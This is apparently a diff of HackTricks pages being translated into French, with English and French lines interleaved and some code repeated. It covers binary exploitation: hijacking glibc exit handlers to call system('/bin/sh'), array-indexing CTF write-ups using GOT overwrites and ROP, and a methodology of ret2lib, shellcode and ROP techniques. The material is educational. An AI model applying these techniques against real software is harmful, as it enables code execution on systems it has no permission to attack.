Cette technique est [**expliquée ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) et dépend encore une fois du programme **sortant en appelant `return` ou `exit()`** donc **`__run_exit_handlers()`** est appelé.
Vérifions plus de code de cette fonction :
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
La variable `f` pointe vers la structure **`initial`** et en fonction de la valeur de `f->flavor`, différentes fonctions seront appelées.\
Selon la valeur, l'adresse de la fonction à appeler sera à un endroit différent, mais elle sera toujours **démanglée**.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
De plus, dans les options **`ef_on`** et **`ef_cxa`**, il est également possible de contrôler un **argument**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
Il est possible de vérifier la **structure `initial`** dans une session de débogage avec GEF en exécutant **`gef> p initial`**.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Pour en abuser, vous devez soit **fuiter ou effacer le cookie `PTR_MANGLE`**, puis écraser une entrée `cxa` dans initial avec `system('/bin/sh')`.\
Vous pouvez trouver un exemple de cela dans le [**post de blog original sur la technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Array Indexing
# Indexation de tableau
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
Cette catégorie inclut toutes les vulnérabilités qui se produisent parce qu'il est possible d'écraser certaines données à travers des erreurs dans la gestion des index dans les tableaux. C'est une catégorie très large sans méthodologie spécifique, car le mécanisme d'exploitation dépend complètement des conditions de la vulnérabilité.
However he you can find some nice **examples**:
Cependant, vous pouvez trouver quelques **exemples** intéressants :
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
- Il y a **2 tableaux en collision**, un pour les **adresses** où les données sont stockées et un avec les **tailles** de ces données. Il est possible d'écraser l'un par l'autre, permettant d'écrire une adresse arbitraire en l'indiquant comme taille. Cela permet d'écrire l'adresse de la fonction `free` dans la table GOT et ensuite de l'écraser avec l'adresse de `system`, et d'appeler free depuis une mémoire avec `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64 bits, pas de nx. Écraser une taille pour obtenir une sorte de débordement de tampon où tout va être utilisé comme un double nombre et trié du plus petit au plus grand, donc il est nécessaire de créer un shellcode qui répond à cette exigence, en tenant compte que le canary ne doit pas être déplacé de sa position et enfin écraser le RIP avec une adresse de retour, qui répond aux exigences précédentes et en mettant la plus grande adresse à une nouvelle adresse pointant vers le début de la pile (fuit par le programme) afin qu'il soit possible d'utiliser le retour pour sauter là-bas.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64 bits, pas de relro, canary, nx, pas de pie. Il y a un off-by-one dans un tableau dans la pile qui permet de contrôler un pointeur accordant WWW (il écrit la somme de tous les nombres du tableau dans l'adresse écrasée par l'off-by-one dans le tableau). La pile est contrôlée donc l'adresse GOT `exit` est écrasée avec `pop rdi; ret`, et dans la pile est ajoutée l'adresse de `main` (retournant à `main`). Une chaîne ROP pour fuir l'adresse de mise dans la GOT en utilisant puts est utilisée (`exit` sera appelé donc il appellera `pop rdi; ret` exécutant ainsi cette chaîne dans la pile). Enfin, une nouvelle chaîne ROP exécutant ret2lib est utilisée.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bits, pas de relro, pas de canary, nx, pie. Abuser d'une mauvaise indexation pour fuir les adresses de libc et de heap depuis la pile. Abuser du débordement de tampon pour faire un ret2lib appelant `system('/bin/sh')` (l'adresse de la heap est nécessaire pour contourner une vérification).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology
# Méthodologie de Base pour l'Exploitation Binaire
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## Informations de Base sur ELF
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
Avant de commencer à exploiter quoi que ce soit, il est intéressant de comprendre une partie de la structure d'un **binaire ELF** :
{{#ref}}
elf-tricks.md
{{#endref}}
## Exploiting Tools
## Outils d'Exploitation
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Méthodologie de Débordement de Pile
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
Avec tant de techniques, il est bon d'avoir un schéma pour savoir quand chaque technique sera utile. Notez que les mêmes protections affecteront différentes techniques. Vous pouvez trouver des moyens de contourner les protections dans chaque section de protection, mais pas dans cette méthodologie.
## Controlling the Flow
## Contrôle du Flux
There are different was you could end controlling the flow of a program:
Il existe différentes manières de contrôler le flux d'un programme :
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**Débordements de Pile**](../stack-overflow/) en écrasant le pointeur de retour de la pile ou le EBP -> ESP -> EIP.
- Peut nécessiter d'abuser d'un [**Débordement d'Entier**](../integer-overflow.md) pour provoquer le débordement.
- Ou via **Écritures Arbitraires + Écrire Quoi Où pour l'Exécution**.
- [**Chaînes de Format**](../format-strings/)**:** Abuser de `printf` pour écrire du contenu arbitraire à des adresses arbitraires.
- [**Indexation de Tableaux**](../array-indexing.md) : Abuser d'une indexation mal conçue pour pouvoir contrôler certains tableaux et obtenir une écriture arbitraire.
- Peut nécessiter d'abuser d'un [**Débordement d'Entier**](../integer-overflow.md) pour provoquer le débordement.
- **bof à WWW via ROP** : Abuser d'un débordement de tampon pour construire un ROP et pouvoir obtenir un WWW.
You can find the **Write What Where to Execution** techniques in:
Vous pouvez trouver les techniques **Écrire Quoi Où pour l'Exécution** dans :
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Boucles Éternelles
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
Un point à prendre en compte est que généralement **une seule exploitation d'une vulnérabilité peut ne pas suffire** à exécuter un exploit réussi, surtout certaines protections doivent être contournées. Par conséquent, il est intéressant de discuter de certaines options pour **rendre une seule vulnérabilité exploitable plusieurs fois** dans la même exécution du binaire :
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- Écrire dans une chaîne **ROP** l'adresse de la **fonction `main`** ou l'adresse où la **vulnérabilité** se produit.
- En contrôlant une chaîne ROP appropriée, vous pourriez être en mesure d'effectuer toutes les actions dans cette chaîne.
- Écrire à l'adresse **`exit` dans GOT** (ou toute autre fonction utilisée par le binaire avant de se terminer) l'adresse pour **revenir à la vulnérabilité**.
- Comme expliqué dans [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stocker 2 fonctions ici, une pour rappeler la vulnérabilité et une autre pour appeler **`__libc_csu_fini`** qui rappellera à nouveau la fonction de `.fini_array`.
## Exploitation Goals
## Objectifs d'Exploitation
### Goal: Call an Existing function
### Objectif : Appeler une Fonction Existante
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) afin d'obtenir le drapeau.
- Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous devez simplement écrire l'adresse dans l'adresse de retour stockée dans la pile.
- Dans un bof avec [**PIE**](../common-binary-protections-and-bypasses/pie/), vous devrez le contourner.
- Dans un bof avec [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous devrez le contourner.
- Si vous devez définir plusieurs paramètres pour appeler correctement la fonction **ret2win**, vous pouvez utiliser :
- Une chaîne [**ROP**](./#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (au cas où vous pourriez appeler cet appel système) pour contrôler beaucoup de registres.
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres.
- Via un [**Écrire Quoi Où**](../arbitrary-write-2-exec/), vous pourriez abuser d'autres vulnérabilités (pas de bof) pour appeler la fonction **`win`**.
- [**Redirection de Pointeurs**](../stack-overflow/pointer-redirecting.md) : Dans le cas où la pile contient des pointeurs vers une fonction qui va être appelée ou vers une chaîne qui va être utilisée par une fonction intéressante (system ou printf), il est possible d'écraser cette adresse.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) peuvent affecter les adresses.
- [**Variables Non Initialisées**](../stack-overflow/uninitialized-variables.md) : Vous ne savez jamais.
### Goal: RCE
### Objectif : RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### Via shellcode, si nx désactivé ou mélangeant shellcode avec ROP :
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(Stack) Shellcode**](./#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **sauter vers lui** pour l'exécuter :
- **Dans tous les cas, s'il y a un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** dans un bof régulier, vous devrez le contourner (leak).
- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), il est possible de sauter à l'adresse de la pile car elle ne changera jamais.
- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), vous aurez besoin de techniques telles que [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) pour sauter vers elle.
- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **stocker le shellcode là-dedans** (en appelant read par exemple) et ensuite sauter là-bas.
- Cela mélangera le shellcode avec une chaîne ROP.
#### Via syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) : Utile pour appeler `execve` pour exécuter des commandes arbitraires. Vous devez être en mesure de trouver les **gadgets pour appeler l'appel système spécifique avec les paramètres**.
- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) sont activés, vous devrez les contourner **afin d'utiliser les gadgets ROP** du binaire ou des bibliothèques.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) peut être utile pour préparer le **ret2execve**.
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres.
#### Via libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/) : Utile pour appeler une fonction d'une bibliothèque (généralement de **`libc`**) comme **`system`** avec des arguments préparés (par exemple, `'/bin/sh'`). Vous avez besoin que le binaire **charge la bibliothèque** avec la fonction que vous souhaitez appeler (libc généralement).
- Si **compilé statiquement et sans** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et en connaissant la version de libc** chargée, l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
- Avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mais sans** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, en connaissant la libc et avec le binaire utilisant la fonction `system`**, il est possible de **`ret` à l'adresse de system dans le GOT** avec l'adresse de `'/bin/sh'` dans le paramètre (vous devrez le découvrir).
- Avec [ASLR](../common-binary-protections-and-bypasses/aslr/) mais sans [PIE](../common-binary-protections-and-bypasses/pie/), en connaissant la libc et **sans que le binaire utilise la `system`** :
- Utilisez [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) pour résoudre l'adresse de `system` et l'appeler.
- **Contourner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) et calculer l'adresse de `system` et `'/bin/sh'` en mémoire.
- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et sans connaître la libc** : Vous devez :
- Contourner [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Trouver la **version de `libc`** utilisée (leak quelques adresses de fonction).
- Vérifier les **scénarios précédents avec ASLR** pour continuer.
#### Via EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**Pivotement de Pile / EBP2Ret / Chaînage EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) : Contrôler l'ESP pour contrôler RET via le EBP stocké dans la pile.
- Utile pour les débordements de pile **off-by-one**.
- Utile comme une manière alternative de finir par contrôler l'EIP tout en abusant de l'EIP pour construire la charge utile en mémoire et ensuite sauter vers elle via EBP.
#### Misc
#### Divers
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
- [**Redirection de Pointeurs**](../stack-overflow/pointer-redirecting.md) : Dans le cas où la pile contient des pointeurs vers une fonction qui va être appelée ou vers une chaîne qui va être utilisée par une fonction intéressante (system ou printf), il est possible d'écraser cette adresse.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) peuvent affecter les adresses.
- [**Variables Non Initialisées**](../stack-overflow/uninitialized-variables.md) : Vous ne savez jamais.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information
# Informations de base sur ELF
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## En-têtes de programme
Ils décrivent au chargeur comment charger le **ELF** en mémoire :
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
Le programme précédent a **9 en-têtes de programme**, puis, le **mappage des segments** indique dans quel en-tête de programme (de 00 à 08) **chaque section est située**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - En-tête de Programme
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
Contient les tables d'en-têtes de programme et les métadonnées elles-mêmes.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
Indique le chemin du chargeur à utiliser pour charger le binaire en mémoire.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Ces en-têtes sont utilisés pour indiquer **comment charger un binaire en mémoire.**\
Chaque en-tête **LOAD** indique une région de **mémoire** (taille, permissions et alignement) et indique les octets du binaire ELF **à copier là-dedans**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
Par exemple, le deuxième a une taille de 0x1190, devrait être situé à 0x1fc48 avec des permissions de lecture et d'écriture et sera rempli avec 0x528 à partir de l'offset 0xfc48 (il ne remplit pas tout l'espace réservé). Cette mémoire contiendra les sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
Cet en-tête aide à lier les programmes à leurs dépendances de bibliothèque et à appliquer des relocations. Vérifiez la section **`.dynamic`**.
### NOTE
This stores vendor metadata information about the binary.
Cela stocke des informations sur les métadonnées du fournisseur concernant le binaire.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
